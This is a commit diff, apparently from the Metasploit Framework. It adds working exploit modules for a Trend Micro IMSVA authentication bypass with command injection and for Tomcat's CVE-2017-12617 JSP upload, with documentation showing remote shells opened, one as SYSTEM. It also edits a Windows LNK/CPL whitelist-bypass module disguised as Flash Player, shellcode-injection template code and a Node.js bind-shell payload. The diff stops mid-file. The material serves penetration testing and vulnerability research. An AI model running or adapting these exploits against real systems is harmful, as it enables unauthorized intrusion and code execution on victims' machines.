commit
763720cc4a
|
@ -237,7 +237,7 @@ GEM
|
||||||
metasm
|
metasm
|
||||||
rex-arch
|
rex-arch
|
||||||
rex-text
|
rex-text
|
||||||
rex-exploitation (0.1.14)
|
rex-exploitation (0.1.15)
|
||||||
jsobfu
|
jsobfu
|
||||||
metasm
|
metasm
|
||||||
rex-arch
|
rex-arch
|
||||||
|
|
|
@ -84,7 +84,7 @@ rex-arch, 0.1.9, "New BSD"
|
||||||
rex-bin_tools, 0.1.4, "New BSD"
|
rex-bin_tools, 0.1.4, "New BSD"
|
||||||
rex-core, 0.1.11, "New BSD"
|
rex-core, 0.1.11, "New BSD"
|
||||||
rex-encoder, 0.1.4, "New BSD"
|
rex-encoder, 0.1.4, "New BSD"
|
||||||
rex-exploitation, 0.1.14, "New BSD"
|
rex-exploitation, 0.1.15, "New BSD"
|
||||||
rex-java, 0.1.5, "New BSD"
|
rex-java, 0.1.5, "New BSD"
|
||||||
rex-mime, 0.1.5, "New BSD"
|
rex-mime, 0.1.5, "New BSD"
|
||||||
rex-nop, 0.1.1, "New BSD"
|
rex-nop, 0.1.1, "New BSD"
|
||||||
|
|
|
@ -6,11 +6,10 @@ CCx64="x86_64-w64-mingw32"
|
||||||
|
|
||||||
${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
|
${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
|
||||||
${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
|
${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
|
||||||
${CCx64}-strip -s temp.dll -o template_x64_windows.dll
|
${CCx64}-strip -s temp.dll -o ../template_x64_windows.dll
|
||||||
rm -f temp.dll *.o
|
rm -f temp.dll *.o
|
||||||
|
|
||||||
${CCx86}-gcc -c -Os template.c -Wall -shared
|
${CCx86}-gcc -c -Os template.c -Wall -shared
|
||||||
${CCx86}-dllwrap --def template.def *.o -o temp.dll
|
${CCx86}-dllwrap --def template.def *.o -o temp.dll
|
||||||
${CCx86}-strip -s temp.dll -o template_x86_windows.dll
|
${CCx86}-strip -s temp.dll -o ../template_x86_windows.dll
|
||||||
rm -f temp.dll *.o
|
rm -f temp.dll *.o
|
||||||
|
|
||||||
|
|
|
@ -69,7 +69,7 @@ void ExecutePayload(void)
|
||||||
inline_bzero(&si, sizeof(si));
|
inline_bzero(&si, sizeof(si));
|
||||||
si.cb = sizeof(si);
|
si.cb = sizeof(si);
|
||||||
|
|
||||||
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
|
// Create a suspended process, write shellcode into stack, resume it
|
||||||
if(CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
|
if(CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
|
||||||
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
|
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
|
||||||
GetThreadContext(pi.hThread, &ctx);
|
GetThreadContext(pi.hThread, &ctx);
|
||||||
|
|
|
@ -0,0 +1,40 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This module displays the version information about each system.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Do: ```use auxiliary/scanner/http/http_version```
|
||||||
|
2. Do: ```set RHOSTS [IP]```
|
||||||
|
3. Do: ```set RPORT [PORT]```
|
||||||
|
4. Do: ```run```
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
**Running the scanner**
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use auxiliary/scanner/http/http_version
|
||||||
|
msf auxiliary(http_version) > show options
|
||||||
|
|
||||||
|
Module options (auxiliary/scanner/http/http_version):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||||
|
RHOSTS yes The target address range or CIDR identifier
|
||||||
|
RPORT 80 yes The target port (TCP)
|
||||||
|
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||||
|
THREADS 1 yes The number of concurrent threads
|
||||||
|
VHOST no HTTP server virtual host
|
||||||
|
|
||||||
|
msf auxiliary(http_version) > set RHOSTS 192.168.56.101
|
||||||
|
RHOSTS => 192.168.56.101
|
||||||
|
msf auxiliary(http_version) > run
|
||||||
|
|
||||||
|
[+] 192.168.56.101:80 Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/5.2.4-2ubuntu5.10 )
|
||||||
|
[*] Scanned 1 of 1 hosts (100% complete)
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
|
||||||
|
msf auxiliary(http_version) >
|
||||||
|
```
|
|
@ -0,0 +1,61 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a terminal command under the context of the web server user.
|
||||||
|
|
||||||
|
The specific flaw exists within the management interface, which listens on TCP port 443 by default. Trend Micro IMSVA product have widget feature which is implemented with PHP. Insecurely configured web server exposes diagnostic.log file, which leads to an extraction of JSESSIONID value from administrator session. Proxy.php files under the mod TMCSS folder takes multiple parameter but the process does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the web server user.
|
||||||
|
|
||||||
|
**Vulnerable Application Installation Steps**
|
||||||
|
|
||||||
|
IMSVA is distrubed as an ISO image by Trend Micro.
|
||||||
|
|
||||||
|
Following steps are valid on the CentOS 6 x64 bit operating system.
|
||||||
|
|
||||||
|
1. Open following URL [http://downloadcenter.trendmicro.com/](http://downloadcenter.trendmicro.com/)
|
||||||
|
2. Find "InterScan Messaging Security (Virtual Appliance)" and click.
|
||||||
|
3. At the time of writing this documentation, you must see "IMSVA-9.1-1600-x86-64-r2.iso" next to Download button.
|
||||||
|
4. Click to the download button and complete installation of ISO.
|
||||||
|
|
||||||
|
If you don't see a affected version of IMSVA, you can try to download IMSVA-9.1-1600 directly from following URL.
|
||||||
|
|
||||||
|
[http://files.trendmicro.com/products/imsva/9.1/IMSVA-9.1-1600-x86_64-r2.iso](http://files.trendmicro.com/products/imsva/9.1/IMSVA-9.1-1600-x86_64-r2.iso)
|
||||||
|
|
||||||
|
**System requirements:**
|
||||||
|
- Virtualbox or VMware can be used.
|
||||||
|
- 4 GB of memory at least.
|
||||||
|
- 120 GB of disk size at least.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
A successful check of the exploit will look like this:
|
||||||
|
|
||||||
|
- [ ] Start `msfconsole`
|
||||||
|
- [ ] `use exploit/linux/http/trendmicro_imsva_widget_exec`
|
||||||
|
- [ ] Set `RHOST`
|
||||||
|
- [ ] Set `LHOST`
|
||||||
|
- [ ] Run `check`
|
||||||
|
- [ ] **Verify** that you are seeing `The target appears to be vulnerable.`
|
||||||
|
- [ ] Run `exploit`
|
||||||
|
- [ ] **Verify** that you are seeing `Awesome. JSESSIONID value` in console.
|
||||||
|
- [ ] **Verify** that you are getting `Session with widget framework successfully initiated` session.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use exploit/linux/http/trendmicro_imsva_widget_exec
|
||||||
|
msf exploit(trendmicro_imsva_widget_exec) > set RHOST 12.0.0.201
|
||||||
|
RHOST => 12.0.0.184
|
||||||
|
msf exploit(trendmicro_imsva_widget_exec) > check
|
||||||
|
[*] 12.0.0.184:443 The target appears to be vulnerable.
|
||||||
|
msf exploit(trendmicro_imsva_widget_exec) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 12.0.0.1:4444
|
||||||
|
[*] Extracting JSESSIONID from publicly accessible log file
|
||||||
|
[+] Awesome. JSESSIONID value = 0567E974AE729E58178C9B513FEBE41E
|
||||||
|
[*] Initiating session with widget framework
|
||||||
|
[+] Session with widget framework successfully initiated.
|
||||||
|
[*] Trigerring command injection vulnerability
|
||||||
|
[*] Command shell session 1 opened (12.0.0.1:4444 -> 12.0.0.201:44103) at 2017-10-08 18:05:11 +0300
|
||||||
|
|
||||||
|
pwd
|
||||||
|
/opt/trend/imss/UI/adminUI/ROOT/widget
|
||||||
|
|
||||||
|
```
|
|
@ -0,0 +1,53 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This module uses a PUT request bypass to upload a jsp shell to a vulnerable Apache Tomcat configuration.
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialization parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12617
|
||||||
|
|
||||||
|
To set up a vulnerable installation:
|
||||||
|
1. Download and install an affected version of Apache Tomcat.
|
||||||
|
2. Download and install Java. [Choose an appropriate version](http://tomcat.apache.org/whichversion.html) based on the Apache Tomcat version you downloaded.
|
||||||
|
3. In conf directory of Apache Tomcat, edit the web.xml file and set the "readonly" parameter to false for the default servlet.
|
||||||
|
4. Restart the Tomcat service.
|
||||||
|
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Do: ```use exploit/multi/http/tomcat_jsp_upload_bypass```
|
||||||
|
1. Do: ```set payload java/jsp_shell_bind_tcp```
|
||||||
|
2. Do: ```set RHOST [IP]```
|
||||||
|
3. Do: ```set RPORT [PORT]```
|
||||||
|
4. Do: ```check```
|
||||||
|
5. It should be reported as vulnerable
|
||||||
|
6. Do: ```run```
|
||||||
|
7. You should get a shell
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use exploit/multi/http/tomcat_jsp_upload_bypass
|
||||||
|
msf exploit(tomcat_jsp_upload_bypass) > set payload java/jsp_shell_bind_tcp
|
||||||
|
payload => java/jsp_shell_bind_tcp
|
||||||
|
msf exploit(tomcat_jsp_upload_bypass) > set RHOST 10.10.40.93
|
||||||
|
RHOST => 10.10.40.93
|
||||||
|
msf exploit(tomcat_jsp_upload_bypass) > set RPORT 8080
|
||||||
|
RPORT => 8080
|
||||||
|
msf exploit(tomcat_jsp_upload_bypass) > check
|
||||||
|
[+] 10.10.40.93:8080 The target is vulnerable.
|
||||||
|
msf exploit(tomcat_jsp_upload_bypass) > run
|
||||||
|
|
||||||
|
[*] Started bind handler
|
||||||
|
[*] Uploading payload...
|
||||||
|
[*] Payload executed!
|
||||||
|
[*] Command shell session 1 opened (10.10.230.230:39979 -> 10.10.40.93:4444) at 2017-10-11 07:43:08 -0400
|
||||||
|
|
||||||
|
Microsoft Windows [Version 6.3.9600]
|
||||||
|
(c) 2013 Microsoft Corporation. All rights reserved.
|
||||||
|
|
||||||
|
C:\Program Files\apache-tomcat-7.0.81>whoami
|
||||||
|
whoami
|
||||||
|
nt authority\system
|
||||||
|
|
||||||
|
```
|
|
@ -27,9 +27,25 @@ module Http
|
||||||
end
|
end
|
||||||
|
|
||||||
def on_request_uri(cli, request)
|
def on_request_uri(cli, request)
|
||||||
if request['User-Agent'] =~ /^(?:Wget|curl)/
|
client = cli.peerhost
|
||||||
|
|
||||||
|
if (user_agent = request.headers['User-Agent'])
|
||||||
|
client << " (#{user_agent})"
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Client #{client} requested #{request.raw_uri}")
|
||||||
|
|
||||||
|
if stager_instance.respond_to?(:user_agent)
|
||||||
|
agent_regex = stager_instance.user_agent
|
||||||
|
else
|
||||||
|
agent_regex = /.*/
|
||||||
|
end
|
||||||
|
|
||||||
|
if user_agent =~ agent_regex
|
||||||
|
print_status("Sending payload to #{client}")
|
||||||
send_response(cli, exe)
|
send_response(cli, exe)
|
||||||
else
|
else
|
||||||
|
print_status("Sending 404 to #{client}")
|
||||||
send_not_found(cli)
|
send_not_found(cli)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -19,11 +19,11 @@ module Msf::Payload::NodeJS
|
||||||
var sh = cp.spawn(cmd, []);
|
var sh = cp.spawn(cmd, []);
|
||||||
socket.pipe(sh.stdin);
|
socket.pipe(sh.stdin);
|
||||||
if (typeof util.pump === "undefined") {
|
if (typeof util.pump === "undefined") {
|
||||||
sh.stdout.pipe(client.socket);
|
sh.stdout.pipe(socket);
|
||||||
sh.stderr.pipe(client.socket);
|
sh.stderr.pipe(socket);
|
||||||
} else {
|
} else {
|
||||||
util.pump(sh.stdout, client.socket);
|
util.pump(sh.stdout, socket);
|
||||||
util.pump(sh.stderr, client.socket);
|
util.pump(sh.stderr, socket);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
server.listen(#{datastore['LPORT']});
|
server.listen(#{datastore['LPORT']});
|
||||||
|
|
|
@ -86,12 +86,18 @@ module System
|
||||||
version = read_file("/etc/gentoo-release").gsub(/\n|\\n|\\l/,'')
|
version = read_file("/etc/gentoo-release").gsub(/\n|\\n|\\l/,'')
|
||||||
system_data[:distro] = "gentoo"
|
system_data[:distro] = "gentoo"
|
||||||
system_data[:version] = version
|
system_data[:version] = version
|
||||||
else
|
|
||||||
|
|
||||||
# Others
|
# Generic
|
||||||
|
elsif etc_files.include?("issue")
|
||||||
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
|
version = read_file("/etc/issue").gsub(/\n|\\n|\\l/,'')
|
||||||
system_data[:distro] = "linux"
|
system_data[:distro] = "linux"
|
||||||
system_data[:version] = version
|
system_data[:version] = version
|
||||||
|
|
||||||
|
# Others, could be a mismatch like ssh_login to cisco device
|
||||||
|
else
|
||||||
|
system_data[:distro] = "linux"
|
||||||
|
system_data[:version] = ''
|
||||||
|
|
||||||
end
|
end
|
||||||
return system_data
|
return system_data
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,130 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution",
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a
|
||||||
|
terminal command under the context of the web server user.
|
||||||
|
|
||||||
|
The specific flaw exists within the management interface, which listens on TCP port 443 by default. Trend Micro IMSVA product
|
||||||
|
have widget feature which is implemented with PHP. Insecurely configured web server exposes diagnostic.log file, which
|
||||||
|
leads to an extraction of JSESSIONID value from administrator session. Proxy.php files under the mod TMCSS folder takes multiple parameter but the process
|
||||||
|
does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities,
|
||||||
|
unauthenticated users can execute a terminal command under the context of the web server user.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'mr_me <mr_me@offensive-security.com>', # author of command injection
|
||||||
|
'Mehmet Ince <mehmet@mehmetince.net>' # author of authentication bypass & msf module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/'],
|
||||||
|
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-17-521/'],
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'SSL' => true,
|
||||||
|
'RPORT' => 8445
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'ConnectionType' => '-bind'
|
||||||
|
},
|
||||||
|
},
|
||||||
|
'Platform' => ['python'],
|
||||||
|
'Arch' => ARCH_PYTHON,
|
||||||
|
'Targets' => [[ 'Automatic', {}]],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => "Oct 7 2017",
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [true, 'The URI of the Trend Micro IMSVA management interface', '/'])
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def extract_jsessionid
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'widget', 'repository', 'log', 'diagnostic.log')
|
||||||
|
})
|
||||||
|
if res && res.code == 200 && res.body.include?('JSEEEIONID')
|
||||||
|
res.body.scan(/JSEEEIONID:([A-F0-9]{32})/).flatten.last
|
||||||
|
else
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def widget_auth(jsessionid)
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'widget', 'index.php'),
|
||||||
|
'cookie' => "CurrentLocale=en-U=en_US; JSESSIONID=#{jsessionid}"
|
||||||
|
})
|
||||||
|
if res && res.code == 200 && res.body.include?('USER_GENERATED_WIDGET_DIR')
|
||||||
|
res.get_cookies
|
||||||
|
else
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
# If we've managed to bypass authentication, that means target is most likely vulnerable.
|
||||||
|
jsessionid = extract_jsessionid
|
||||||
|
if jsessionid.nil?
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
auth = widget_auth(jsessionid)
|
||||||
|
if auth.nil?
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
else
|
||||||
|
Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
print_status('Extracting JSESSIONID from publicly accessible log file')
|
||||||
|
jsessionid = extract_jsessionid
|
||||||
|
if jsessionid.nil?
|
||||||
|
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
|
||||||
|
else
|
||||||
|
print_good("Awesome. JSESSIONID value = #{jsessionid}")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status('Initiating session with widget framework')
|
||||||
|
cookies = widget_auth(jsessionid)
|
||||||
|
if cookies.nil?
|
||||||
|
fail_with(Failure::NoAccess, "Latest JSESSIONID is expired. Wait for sysadmin to login IMSVA")
|
||||||
|
else
|
||||||
|
print_good('Session with widget framework successfully initiated.')
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status('Trigerring command injection vulnerability')
|
||||||
|
send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'widget', 'proxy_controller.php'),
|
||||||
|
'cookie' => "CurrentLocale=en-US; LogonUser=root; JSESSIONID=#{jsessionid}; #{cookies}",
|
||||||
|
'vars_post' => {
|
||||||
|
'module' => 'modTMCSS',
|
||||||
|
'serverid' => '1',
|
||||||
|
'TOP' => "$(python -c \"#{payload.encoded}\")"
|
||||||
|
}
|
||||||
|
})
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,111 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Tomcat RCE via JSP Upload Bypass',
|
||||||
|
'Description' => %q{
|
||||||
|
This module uploads a jsp payload and executes it.
|
||||||
|
},
|
||||||
|
'Author' => 'peewpw',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2017-12617' ],
|
||||||
|
[ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12617' ],
|
||||||
|
[ 'URL', 'https://bz.apache.org/bugzilla/show_bug.cgi?id=61542' ]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'Platform' => %w{ linux win }, # others?
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Automatic',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_JAVA,
|
||||||
|
'Platform' => 'win'
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'Java Windows',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_JAVA,
|
||||||
|
'Platform' => 'win'
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'Java Linux',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_JAVA,
|
||||||
|
'Platform' => 'linux'
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Oct 03 2017',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new('TARGETURI', [true, "The URI path of the Tomcat installation", "/"]),
|
||||||
|
Opt::RPORT(8080)
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
testurl = Rex::Text::rand_text_alpha(10)
|
||||||
|
testcontent = Rex::Text::rand_text_alpha(10)
|
||||||
|
|
||||||
|
send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
|
||||||
|
'method' => 'PUT',
|
||||||
|
'data' => "<% out.println(\"#{testcontent}\");%>"
|
||||||
|
})
|
||||||
|
|
||||||
|
res1 = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
|
||||||
|
if res1 && res1.body.include?(testcontent)
|
||||||
|
send_request_cgi(
|
||||||
|
opts = {
|
||||||
|
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
|
||||||
|
'method' => 'DELETE'
|
||||||
|
},
|
||||||
|
timeout = 1
|
||||||
|
)
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
end
|
||||||
|
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
print_status("Uploading payload...")
|
||||||
|
testurl = Rex::Text::rand_text_alpha(10)
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
|
||||||
|
'method' => 'PUT',
|
||||||
|
'data' => payload.encoded
|
||||||
|
})
|
||||||
|
if res && res.code == 201
|
||||||
|
res1 = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
if res1 && res1.code == 200
|
||||||
|
print_status("Payload executed!")
|
||||||
|
else
|
||||||
|
fail_with(Failure::PayloadFailed, "Failed to execute the payload")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
fail_with(Failure::UnexpectedReply, "Failed to upload the payload")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -17,18 +17,23 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
info,
|
info,
|
||||||
'Name' => 'LNK Code Execution Vulnerability',
|
'Name' => 'LNK Code Execution Vulnerability',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain a dynamic icon, loaded from a malicious DLL.
|
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)
|
||||||
|
that contain a dynamic icon, loaded from a malicious DLL.
|
||||||
|
|
||||||
This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
|
This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
|
||||||
similar except an additional SpecialFolderDataBlock is included. The folder ID set
|
similar except an additional SpecialFolderDataBlock is included. The folder ID set
|
||||||
in this SpecialFolderDataBlock is set to the Control Panel. This is enough to bypass
|
in this SpecialFolderDataBlock is set to the Control Panel. This is enough to bypass
|
||||||
the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
|
the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
|
||||||
DLL file.
|
DLL file.
|
||||||
|
|
||||||
|
If no PATH is specified, the module will use drive letters D through Z so the files
|
||||||
|
may be placed in the root path of a drive such as a shared VM folder or USB drive.
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'Uncredited', # vulnerability discovery
|
'Uncredited', # vulnerability discovery
|
||||||
'Yorick Koster' # msf module
|
'Yorick Koster', # msf module
|
||||||
|
'Spencer McIntyre' # msf module
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'References' =>
|
'References' =>
|
||||||
|
@ -65,19 +70,21 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
[
|
[
|
||||||
OptString.new('FILENAME', [false, 'The LNK file', 'Flash Player.lnk']),
|
OptString.new('FILENAME', [false, 'The LNK file', 'Flash Player.lnk']),
|
||||||
OptString.new('DLLNAME', [false, 'The DLL file containing the payload', 'FlashPlayerCPLApp.cpl']),
|
OptString.new('DLLNAME', [false, 'The DLL file containing the payload', 'FlashPlayerCPLApp.cpl']),
|
||||||
OptString.new('DRIVE', [false, 'Drive letter assigned to USB drive on victim\'s machine'])
|
OptString.new('PATH', [false, 'An explicit path to where the files will be hosted'])
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true])
|
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true]),
|
||||||
|
OptString.new('LnkComment', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']),
|
||||||
|
OptString.new('LnkDisplayName', [true, 'The display name to use in the generated LNK file', 'Flash Player'])
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
path = ::File.join(Msf::Config.data_directory, 'exploits/cve-2017-8464')
|
path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-8464')
|
||||||
arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']
|
arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']
|
||||||
datastore['EXE::Path'] = path
|
datastore['EXE::Path'] = path
|
||||||
datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll")
|
datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll")
|
||||||
|
@ -87,14 +94,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
dll_path = store_file(dll, dll_name)
|
dll_path = store_file(dll, dll_name)
|
||||||
print_status("#{dll_path} created, copy it to the root folder of the target USB drive")
|
print_status("#{dll_path} created, copy it to the root folder of the target USB drive")
|
||||||
|
|
||||||
if datastore['DRIVE']
|
if datastore['PATH']
|
||||||
lnk = generate_link("#{datastore['DRIVE'].split(':')[0]}:\\#{dll_name}")
|
lnk = generate_link("#{datastore['PATH'].chomp("\\")}\\#{dll_name}")
|
||||||
lnk_filename = datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk"
|
lnk_filename = datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk"
|
||||||
lnk_path = store_file(lnk, lnk_filename)
|
lnk_path = store_file(lnk, lnk_filename)
|
||||||
print_status("#{lnk_path} created, copy to the target USB drive")
|
print_status("#{lnk_path} created, copy to the target paths")
|
||||||
|
|
||||||
else
|
else
|
||||||
# HACK: the vulnerability doesn't appear to work with UNC paths
|
# HACK: Create LNK files to different drives instead
|
||||||
# Create LNK files to different drives instead
|
|
||||||
# Copying all the LNK files will likely trigger this vulnerability
|
# Copying all the LNK files will likely trigger this vulnerability
|
||||||
('D'..'Z').each do |i|
|
('D'..'Z').each do |i|
|
||||||
fname, ext = (datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk").split('.')
|
fname, ext = (datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk").split('.')
|
||||||
|
@ -108,9 +115,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_link(path)
|
def generate_link(path)
|
||||||
|
vprint_status("Generating LNK file to load: #{path}")
|
||||||
path << "\x00"
|
path << "\x00"
|
||||||
display_name = "Flash Player\x00" # LNK Display Name
|
display_name = datastore['LnkDisplayName'].dup << "\x00" # LNK Display Name
|
||||||
comment = "Manage Flash Player Settings\x00"
|
comment = datastore['LnkComment'].dup << "\x00"
|
||||||
|
|
||||||
# Control Panel Applet ItemID with our DLL
|
# Control Panel Applet ItemID with our DLL
|
||||||
cpl_applet = [
|
cpl_applet = [
|
||||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
|
||||||
|
|
||||||
module MetasploitModule
|
module MetasploitModule
|
||||||
|
|
||||||
